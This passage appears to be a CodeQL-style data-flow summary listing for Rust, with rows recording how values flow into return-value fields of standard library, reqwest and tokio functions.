ReturnValue.Field[crate::sync::mpmc::Iter::rx] in lang:std::_::::iter | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::TryIter::rx] in lang:std::_::::try_iter | TryIter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::array::Channel::cap] in lang:std::_::::with_capacity | Channel.cap | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::with_capacity | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::counter::Receiver::counter] in lang:std::_::::acquire | Receiver | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::acquire | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::counter::Sender::counter] in lang:std::_::::acquire | Sender | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::acquire | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::error::SendTimeoutError::Disconnected(0)] in lang:std::_::::from | Disconnected | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::select::Selected::Operation(0)] in lang:std::_::::from | Operation | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::select::Selected::Operation(0)].Field[crate::sync::mpmc::select::Operation(0)] in lang:std::_::::from | Operation | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::select::Selected::Operation(0)] in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::utils::CachePadded::value] in lang:std::_::::new | CachePadded | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::Iter::rx] in lang:std::_::<&crate::sync::mpsc::Receiver as crate::iter::traits::collect::IntoIterator>::into_iter | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<&crate::sync::mpsc::Receiver as crate::iter::traits::collect::IntoIterator>::into_iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::Iter::rx] in lang:std::_::::iter | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::Sender::inner] in lang:std::_::::clone | Sender | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::Sender::inner].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::Sender::inner] in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::SyncSender::inner] in lang:std::_::::clone | SyncSender | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::SyncSender::inner].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::SyncSender::inner] in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::TryIter::rx] in lang:std::_::::try_iter | TryIter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::TrySendError::Disconnected(0)] in lang:std::_::::from | Disconnected | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::PoisonError::data] in lang:std::_::::new | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::TryLockError::Poisoned(0)] in lang:std::_::::from | Poisoned | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data] in lang:std::_::::from | Mutex.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data] in lang:std::_::::new | Mutex.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value] in lang:std::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data] in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value] in lang:std::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data] in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data] in lang:std::_::::from | RwLock.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data] in lang:std::_::::new | RwLock.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value] in lang:std::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data] in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value] in lang:std::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data] in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLockReadGuard::inner_lock] in lang:std::_::::downgrade | RwLockReadGuard.inner_lock | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::downgrade | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLockReadGuard::inner_lock].Reference in lang:std::_::::downgrade | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLockReadGuard::inner_lock] in lang:std::_::::downgrade | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::reentrant_lock::ReentrantLock::data] in lang:std::_::::new | ReentrantLock.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock] in lang:std::_::::lock | ReentrantLockGuard | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::lock | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::clone | Buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::from_inner | Buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::from_encoded_bytes_unchecked | Buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_encoded_bytes_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::pal::unix::process::process_common::Stdio::Fd(0)] in lang:std::_::::from | Fd | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::pal::unix::process::process_inner::ExitStatus(0)] in lang:std::_::::from | ExitStatus | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::pal::unix::process::process_inner::ExitStatus(0)] in lang:std::_::::new | ExitStatus | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::pal::unix::weak::DlsymWeak::name] in lang:std::_::::new | DlsymWeak.name | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::pal::unix::weak::ExternWeak::weak_ptr] in lang:std::_::::new | ExternWeak | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::personality::dwarf::DwarfReader::ptr] in lang:std::_::::new | DwarfReader | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::thread_local::native::eager::Storage::val] in lang:std::_::::new | Storage.val | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::thread_local::native::eager::Storage::val].Field[crate::cell::UnsafeCell::value] in lang:std::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::thread_local::native::eager::Storage::val] in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys_common::wtf8::CodePoint::value] in lang:std::_::::from_u32_unchecked | CodePoint | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_u32_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys_common::wtf8::Wtf8Buf::bytes] in lang:std::_::::from_bytes_unchecked | Wtf8Buf.bytes | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_bytes_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::from | Ready | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::async_gen_ready | Ready | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::async_gen_ready | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map | Ready | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_err | Ready | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_err | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_ok | Ready | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_ok | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::option::Option::Some(0)] in lang:core::_::::async_gen_ready | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::async_gen_ready | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Err(0)] in lang:core::_::::map_err | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_err | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Err(0)] in lang:core::_::::map_ok | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_ok | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Ok(0)] in lang:core::_::::map_err | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_err | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Ok(0)] in lang:core::_::::map_ok | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_ok | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::ext] in lang:core::_::::build | Context.ext | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::build | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::ext].Field[crate::panic::unwind_safe::AssertUnwindSafe(0)] in lang:core::_::::build | AssertUnwindSafe | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::ext] in lang:core::_::::build | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::local_waker] in lang:core::_::::build | Context.local_waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::build | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::waker] in lang:core::_::::from_waker | Context.waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_waker | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::waker] in lang:core::_::::build | Context.waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::build | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::ext] in lang:core::_::::ext | ContextBuilder.ext | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ext | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::ext].Field[crate::task::wake::ExtData::Some(0)] in lang:core::_::::ext | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::ext] in lang:core::_::::ext | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::local_waker] in lang:core::_::::from | ContextBuilder.local_waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::local_waker] in lang:core::_::::local_waker | ContextBuilder.local_waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::local_waker | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::waker] in lang:core::_::::from | ContextBuilder.waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::waker] in lang:core::_::::from_waker | ContextBuilder.waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_waker | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::waker] in lang:core::_::::waker | ContextBuilder.waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::waker | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::from_raw | LocalWaker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_raw | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::new | LocalWaker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker].Field[crate::task::wake::RawWaker::data] in lang:core::_::::new | RawWaker.data | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker].Field[crate::task::wake::RawWaker::vtable] in lang:core::_::::new | RawWaker.vtable | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWaker::data] in lang:core::_::::new | RawWaker.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWaker::vtable] in lang:core::_::::new | RawWaker.vtable | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWakerVTable::clone] in lang:core::_::::new | RawWakerVTable.clone | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWakerVTable::drop] in lang:core::_::::new | RawWakerVTable.drop | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWakerVTable::wake] in lang:core::_::::new | RawWakerVTable.wake | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWakerVTable::wake_by_ref] in lang:core::_::::new | RawWakerVTable.wake_by_ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker] in lang:core::_::::from_raw | Waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_raw | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker] in lang:core::_::::new | Waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::data] in lang:core::_::::new | RawWaker.data | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker] in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::vtable] in lang:core::_::::new | RawWaker.vtable | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker] in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::name] in lang:std::_::::name | Builder.name | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::name | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::name].Field[crate::option::Option::Some(0)] in lang:std::_::::name | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::name] in lang:std::_::::name | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::stack_size] in lang:std::_::::stack_size | Builder.stack_size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::stack_size | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::stack_size].Field[crate::option::Option::Some(0)] in lang:std::_::::stack_size | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::stack_size] in lang:std::_::::stack_size | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::local::LocalKey::inner] in lang:std::_::::new | LocalKey | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::time::Duration::secs] in lang:core::_::::from_secs | Duration.secs | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_secs | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::time::Duration::secs] in lang:core::_::::new | Duration.secs | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::time::SystemTime(0)] in lang:std::_::::from_inner | SystemTime | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::Vec::len] in lang:alloc::_::<_ as crate::vec::spec_from_elem::SpecFromElem>::from_elem | Vec.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::<_ as crate::vec::spec_from_elem::SpecFromElem>::from_elem | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::Vec::len] in lang:alloc::_::::from_parts_in | Vec.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_parts_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::Vec::len] in lang:alloc::_::::from_raw_parts_in | Vec.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_raw_parts_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::Vec::len] in lang:alloc::_::::from_elem | Vec.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_elem | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::Vec::len] in lang:alloc::_::::from_elem | Vec.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_elem | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::extract_if::ExtractIf::pred] in lang:alloc::_::::extract_if | ExtractIf.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::extract_if::ExtractIf::pred] in lang:alloc::_::::new | ExtractIf.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::extract_if::ExtractIf::vec] in lang:alloc::_::::extract_if | ExtractIf.vec | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::extract_if::ExtractIf::vec] in lang:alloc::_::::new | ExtractIf.vec | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::set_len_on_drop::SetLenOnDrop::len] in lang:alloc::_::::new | SetLenOnDrop.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::set_len_on_drop::SetLenOnDrop::local_len] in lang:alloc::_::::new | SetLenOnDrop.local_len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_line | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_line | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_segment | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_segment | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::fill_buf | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::fill_buf | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32_le | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64_le | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8_le | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16_le | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32_le | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i64 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i64 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i64_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in 